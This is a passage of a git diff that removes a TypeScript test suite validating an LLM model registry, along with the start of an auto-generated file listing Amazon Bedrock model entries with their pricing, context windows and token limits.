key:\n ${mismatches.join("\n ")}`, - ); - }); - - it("every model has a non-empty string name", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (typeof model["name"] !== "string" || model["name"].trim() === "") { - invalid.push(`${providerKey}/${modelKey}`); - } - } - assert.deepEqual( - invalid, - [], - `Models with missing or empty name:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model has a non-empty string api", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (typeof model["api"] !== "string" || model["api"].trim() === "") { - invalid.push(`${providerKey}/${modelKey}`); - } - } - assert.deepEqual( - invalid, - [], - `Models with missing or empty api:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model's baseUrl starts with https:// (or is empty for azure-openai-responses)", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (providerKey === "azure-openai-responses") continue; - const url = model["baseUrl"]; - if (typeof url !== "string" || !url.startsWith("https://")) { - invalid.push(`${providerKey}/${modelKey}: baseUrl="${url}"`); - } - } - assert.deepEqual( - invalid, - [], - `Models with missing or non-HTTPS baseUrl:\n ${invalid.join("\n ")}`, - ); - }); - - it("azure-openai-responses models have an empty baseUrl (runtime-configured)", () => { - const models = getModels("azure-openai-responses"); - assert.ok( - models.length > 0, - "azure-openai-responses must have at least one model", - ); - for (const model of models) { - assert.equal( - model.baseUrl, - "", - `azure-openai-responses/${model.id} should have empty baseUrl`, - ); - } - }); - - it("every model has a boolean reasoning field", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (typeof model["reasoning"] !== "boolean") { - invalid.push( - `${providerKey}/${modelKey}: reasoning=${model["reasoning"]}`, - ); - } - } - assert.deepEqual( - invalid, - [], - `Models with non-boolean reasoning:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model has a non-empty input array", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - const input = model["input"]; - if (!Array.isArray(input) || input.length === 0) { - invalid.push(`${providerKey}/${modelKey}`); - } - } - assert.deepEqual( - invalid, - [], - `Models with missing or empty input array:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model has a positive contextWindow", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - const cw = model["contextWindow"]; - if (typeof cw !== "number" || cw <= 0 || !Number.isFinite(cw)) { - invalid.push(`${providerKey}/${modelKey}: contextWindow=${cw}`); - } - } - assert.deepEqual( - invalid, - [], - `Models with invalid contextWindow:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model has a positive maxTokens", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - const mt = model["maxTokens"]; - if (typeof mt !== "number" || mt <= 0 || !Number.isFinite(mt)) { - invalid.push(`${providerKey}/${modelKey}: maxTokens=${mt}`); - } - } - assert.deepEqual( - invalid, - [], - `Models with invalid maxTokens:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model's maxTokens does not exceed contextWindow", () => { - const knownExceptions = new Set([ - "openrouter/meta-llama/llama-3-8b-instruct", - "openrouter/nex-agi/deepseek-v3.1-nex-n1", - "openrouter/openai/gpt-3.5-turbo-0613", - "openrouter/z-ai/glm-5", - ]); - - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - if (knownExceptions.has(`${providerKey}/${modelKey}`)) continue; - const cw = model["contextWindow"] as number; - const mt = model["maxTokens"] as number; - if (typeof cw === "number" && typeof mt === "number" && mt > cw) { - invalid.push( - `${providerKey}/${modelKey}: maxTokens(${mt}) > contextWindow(${cw})`, - ); - } - } - assert.deepEqual( - invalid, - [], - `Models where maxTokens exceeds contextWindow:\n ${invalid.join("\n ")}`, - ); - }); - - it("every model has a cost object with non-negative numeric fields", () => { - const invalid: string[] = []; - for (const { providerKey, modelKey, model } of allModels()) { - const cost = model["cost"] as Record | undefined; - if (!cost || typeof cost !== "object") { - invalid.push(`${providerKey}/${modelKey}: missing cost object`); - continue; - } - for (const field of [ - "input", - "output", - "cacheRead", - "cacheWrite", - ] as const) { - const val = cost[field]; - if (typeof val !== "number" || val < 0 || !Number.isFinite(val)) { - invalid.push(`${providerKey}/${modelKey}: cost.${field}=${val}`); - } - } - } - assert.deepEqual( - invalid, - [], - `Models with invalid cost fields:\n ${invalid.join("\n ")}`, - ); - }); - - it("does not expose OpenRouter meta-router aliases as selectable models", () => { - const openrouterModels = MODELS["openrouter"] as Record; - for (const id of ["auto", "openrouter/auto", "openrouter/free"]) { - assert.equal( - openrouterModels[id], - undefined, - `openrouter/${id} must be blocked`, - ); - } - }); - - it("replaces retired OpenRouter Elephant alias with current Ling routes", () => { - const openrouterModels = MODELS["openrouter"] as Record; - assert.equal(openrouterModels["openrouter/elephant-alpha"], undefined); - assert.ok(openrouterModels["inclusionai/ling-2.6-1t:free"]); - assert.ok(openrouterModels["inclusionai/ling-2.6-flash"]); - }); - - it("no provider has duplicate model IDs", () => { - const duplicates: string[] = []; - for (const [providerKey, providerModels] of Object.entries(MODELS)) { - const ids = Object.values(providerModels).map( - (m) => (m as Record)["id"] as string, - ); - const seen = new Set(); - for (const id of ids) { - if (seen.has(id)) duplicates.push(`${providerKey}/${id}`); - seen.add(id); - } - } - assert.deepEqual( - duplicates, - [], - `Duplicate model IDs within a provider:\n ${duplicates.join("\n ")}`, - ); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Registry shape -// ═══════════════════════════════════════════════════════════════════════════ - -describe("MODELS registry shape", () => { - it("has exactly 26 providers", () => { - const count = Object.keys(MODELS).length; - assert.equal( - count, - 26, - `Expected 26 providers, got ${count}: ${Object.keys(MODELS).join(", ")}`, - ); - }); - - it("has at least 200 models in total (sanity check)", () => { - let total = 0; - for (const providerModels of Object.values(MODELS)) { - total += Object.keys(providerModels).length; - } - assert.ok( - total >= 200, - `Registry has only ${total} models — unexpectedly small`, - ); - }); - - it("all 26 expected providers are present", () => { - const expected = [ - "amazon-bedrock", - "anthropic", - "azure-openai-responses", - "cerebras", - "github-copilot", - "google", - "google-gemini-cli", - "google-vertex", - "groq", - "huggingface", - "kimi-coding", - "minimax", - "minimax-cn", - "mistral", - "openai", - "openai-codex", - "opencode", - "opencode-go", - "openrouter", - "vercel-ai-gateway", - "xai", - "xiaomi", - "xiaomi-token-plan-ams", - "xiaomi-token-plan-cn", - "xiaomi-token-plan-sgp", - "zai", - ]; - const actual = Object.keys(MODELS).sort(); - assert.deepEqual(actual, expected.sort()); - }); - - it("getProviders() returns all generated providers", () => { - const providers = getProviders(); - for (const p of Object.keys(MODELS)) { - assert.ok( - providers.includes(p as any), - `getProviders() missing generated provider: ${p}`, - ); - } - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Removed models must not exist -// ═══════════════════════════════════════════════════════════════════════════ - -describe("removed models are absent from the registry", () => { - const removedModels: Array<{ provider: string; id: string }> = [ - { provider: "openrouter", id: "anthropic/claude-3.5-sonnet" }, - { provider: "openrouter", id: "anthropic/claude-3.5-sonnet-20240620" }, - { provider: "openrouter", id: "mistralai/mistral-small-24b-instruct-2501" }, - { - provider: "openrouter", - id: "mistralai/mistral-small-3.1-24b-instruct:free", - }, - { provider: "openrouter", id: "qwen/qwen3-4b:free" }, - { provider: "openrouter", id: "stepfun/step-3.5-flash:free" }, - { provider: "openrouter", id: "x-ai/grok-4.20-beta" }, - { provider: "openrouter", id: "arcee-ai/trinity-mini:free" }, - { provider: "openrouter", id: "google/gemini-3-pro-preview" }, - { provider: "openrouter", id: "kwaipilot/kat-coder-pro" }, - { provider: "openrouter", id: "meituan/longcat-flash-thinking" }, - { provider: "vercel-ai-gateway", id: "xai/grok-2-vision" }, - { provider: "anthropic", id: "claude-3-7-sonnet-latest" }, - ]; - - for (const { provider, id } of removedModels) { - it(`${provider}/${id} has been removed`, () => { - const model = getModel(provider as any, id as any); - assert.equal( - model, - undefined, - `${provider}/${id} should be removed but is still present`, - ); - }); - } -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Spot-checks for notable models added in this regeneration -// ═══════════════════════════════════════════════════════════════════════════ - -describe("spot-checks for models added in this regeneration", () => { - const newModels: Array<{ - provider: string; - id: string; - reasoning?: boolean; - }> = [ - { provider: "openrouter", id: "z-ai/glm-5.1" }, - { provider: "openrouter", id: "z-ai/glm-5v-turbo" }, - { provider: "openrouter", id: "google/gemma-4-31b-it" }, - { provider: "openrouter", id: "google/gemma-4-26b-a4b-it" }, - { - provider: "openrouter", - id: "arcee-ai/trinity-large-thinking", - reasoning: true, - }, - { provider: "openrouter", id: "openai/gpt-audio" }, - { provider: "openrouter", id: "anthropic/claude-opus-4.6-fast" }, - { provider: "openrouter", id: "qwen/qwen3.6-plus" }, - { provider: "groq", id: "groq/compound" }, - { provider: "groq", id: "groq/compound-mini" }, - { provider: "huggingface", id: "zai-org/GLM-5.1" }, - { provider: "openai", id: "gpt-5.3-chat-latest" }, - { provider: "mistral", id: "mistral-small-2603" }, - { provider: "zai", id: "glm-5.1" }, - ]; - - for (const { provider, id, reasoning } of newModels) { - it(`${provider}/${id} is present in the registry`, () => { - const model = getModel(provider as any, id as any); - assert.ok( - model, - `Expected ${provider}/${id} to be present after regeneration`, - ); - assert.equal(model.id, id); - assert.equal(model.provider, provider); - if (reasoning !== undefined) { - assert.equal( - model.reasoning, - reasoning, - `${id} reasoning should be ${reasoning}`, - ); - } - }); - } -}); diff --git a/packages/pi-ai/src/models.generated.ts b/packages/pi-ai/src/models.generated.ts deleted file mode 100644 index e6741f36a..000000000 --- a/packages/pi-ai/src/models.generated.ts +++ /dev/null @@ -1,14636 +0,0 @@ -// This file is auto-generated by scripts/generate-models.ts -// Do not edit manually - run 'npm run generate-models' to update - -import type { Model } from "./types.js"; - -export const MODELS = { - "amazon-bedrock": { - "amazon.nova-2-lite-v1:0": { - id: "amazon.nova-2-lite-v1:0", - name: "Nova 2 Lite", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.33, - output: 2.75, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "amazon.nova-lite-v1:0": { - id: "amazon.nova-lite-v1:0", - name: "Nova Lite", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.06, - output: 0.24, - cacheRead: 0.015, - cacheWrite: 0, - }, - contextWindow: 300000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "amazon.nova-micro-v1:0": { - id: "amazon.nova-micro-v1:0", - name: "Nova Micro", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.035, - output: 0.14, - cacheRead: 0.00875, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "amazon.nova-premier-v1:0": { - id: "amazon.nova-premier-v1:0", - name: "Nova Premier", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 12.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 16384, - } satisfies Model<"bedrock-converse-stream">, - "amazon.nova-pro-v1:0": { - id: "amazon.nova-pro-v1:0", - name: "Nova Pro", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.8, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 300000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-3-5-haiku-20241022-v1:0": { - id: "anthropic.claude-3-5-haiku-20241022-v1:0", - name: "Claude Haiku 3.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.8, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-3-5-sonnet-20240620-v1:0": { - id: "anthropic.claude-3-5-sonnet-20240620-v1:0", - name: "Claude Sonnet 3.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-3-5-sonnet-20241022-v2:0": { - id: "anthropic.claude-3-5-sonnet-20241022-v2:0", - name: "Claude Sonnet 3.5 v2", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-3-7-sonnet-20250219-v1:0": { - id: "anthropic.claude-3-7-sonnet-20250219-v1:0", - name: "Claude Sonnet 3.7", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-3-haiku-20240307-v1:0": { - id: "anthropic.claude-3-haiku-20240307-v1:0", - name: "Claude Haiku 3", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.25, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-haiku-4-5-20251001-v1:0": { - id: "anthropic.claude-haiku-4-5-20251001-v1:0", - name: "Claude Haiku 4.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-opus-4-1-20250805-v1:0": { - id: "anthropic.claude-opus-4-1-20250805-v1:0", - name: "Claude Opus 4.1", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-opus-4-20250514-v1:0": { - id: "anthropic.claude-opus-4-20250514-v1:0", - name: "Claude Opus 4", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-opus-4-5-20251101-v1:0": { - id: "anthropic.claude-opus-4-5-20251101-v1:0", - name: "Claude Opus 4.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-opus-4-6-v1": { - id: "anthropic.claude-opus-4-6-v1", - name: "Claude Opus 4.6", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-opus-4-7": { - id: "anthropic.claude-opus-4-7", - name: "Claude Opus 4.7", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-sonnet-4-20250514-v1:0": { - id: "anthropic.claude-sonnet-4-20250514-v1:0", - name: "Claude Sonnet 4", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-sonnet-4-5-20250929-v1:0": { - id: "anthropic.claude-sonnet-4-5-20250929-v1:0", - name: "Claude Sonnet 4.5", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "anthropic.claude-sonnet-4-6": { - id: "anthropic.claude-sonnet-4-6", - name: "Claude Sonnet 4.6", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "deepseek.r1-v1:0": { - id: "deepseek.r1-v1:0", - name: "DeepSeek-R1", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 1.35, - output: 5.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 32768, - } satisfies Model<"bedrock-converse-stream">, - "deepseek.v3-v1:0": { - id: "deepseek.v3-v1:0", - name: "DeepSeek-V3.1", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.58, - output: 1.68, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 81920, - } satisfies Model<"bedrock-converse-stream">, - "deepseek.v3.2": { - id: "deepseek.v3.2", - name: "DeepSeek-V3.2", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text"], - cost: { - input: 0.62, - output: 1.85, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 163840, - maxTokens: 81920, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-haiku-4-5-20251001-v1:0": { - id: "eu.anthropic.claude-haiku-4-5-20251001-v1:0", - name: "Claude Haiku 4.5 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-opus-4-5-20251101-v1:0": { - id: "eu.anthropic.claude-opus-4-5-20251101-v1:0", - name: "Claude Opus 4.5 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-opus-4-6-v1": { - id: "eu.anthropic.claude-opus-4-6-v1", - name: "Claude Opus 4.6 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-opus-4-7": { - id: "eu.anthropic.claude-opus-4-7", - name: "Claude Opus 4.7 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-sonnet-4-20250514-v1:0": { - id: "eu.anthropic.claude-sonnet-4-20250514-v1:0", - name: "Claude Sonnet 4 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-sonnet-4-5-20250929-v1:0": { - id: "eu.anthropic.claude-sonnet-4-5-20250929-v1:0", - name: "Claude Sonnet 4.5 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "eu.anthropic.claude-sonnet-4-6": { - id: "eu.anthropic.claude-sonnet-4-6", - name: "Claude Sonnet 4.6 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-haiku-4-5-20251001-v1:0": { - id: "global.anthropic.claude-haiku-4-5-20251001-v1:0", - name: "Claude Haiku 4.5 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-opus-4-5-20251101-v1:0": { - id: "global.anthropic.claude-opus-4-5-20251101-v1:0", - name: "Claude Opus 4.5 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-opus-4-6-v1": { - id: "global.anthropic.claude-opus-4-6-v1", - name: "Claude Opus 4.6 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-opus-4-7": { - id: "global.anthropic.claude-opus-4-7", - name: "Claude Opus 4.7 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-sonnet-4-20250514-v1:0": { - id: "global.anthropic.claude-sonnet-4-20250514-v1:0", - name: "Claude Sonnet 4 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-sonnet-4-5-20250929-v1:0": { - id: "global.anthropic.claude-sonnet-4-5-20250929-v1:0", - name: "Claude Sonnet 4.5 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "global.anthropic.claude-sonnet-4-6": { - id: "global.anthropic.claude-sonnet-4-6", - name: "Claude Sonnet 4.6 (Global)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"bedrock-converse-stream">, - "google.gemma-3-27b-it": { - id: "google.gemma-3-27b-it", - name: "Google Gemma 3 27B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.12, - output: 0.2, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 8192, - } satisfies Model<"bedrock-converse-stream">, - "google.gemma-3-4b-it": { - id: "google.gemma-3-4b-it", - name: "Gemma 3 4B IT", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.04, - output: 0.08, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-1-405b-instruct-v1:0": { - id: "meta.llama3-1-405b-instruct-v1:0", - name: "Llama 3.1 405B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 2.4, - output: 2.4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-1-70b-instruct-v1:0": { - id: "meta.llama3-1-70b-instruct-v1:0", - name: "Llama 3.1 70B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.72, - output: 0.72, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-1-8b-instruct-v1:0": { - id: "meta.llama3-1-8b-instruct-v1:0", - name: "Llama 3.1 8B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.22, - output: 0.22, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-2-11b-instruct-v1:0": { - id: "meta.llama3-2-11b-instruct-v1:0", - name: "Llama 3.2 11B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.16, - output: 0.16, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 4096, - } satisfies Model<"bedrock-converse-stream">, - "meta.llama3-2-1b-instruct-v1:0": { - id: "meta.llama3-2-1b-instruct-v1:0", - name: "Llama 3.2 1B Instruct", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: false, - input: ["text"], - cost: { - input: 0.1, 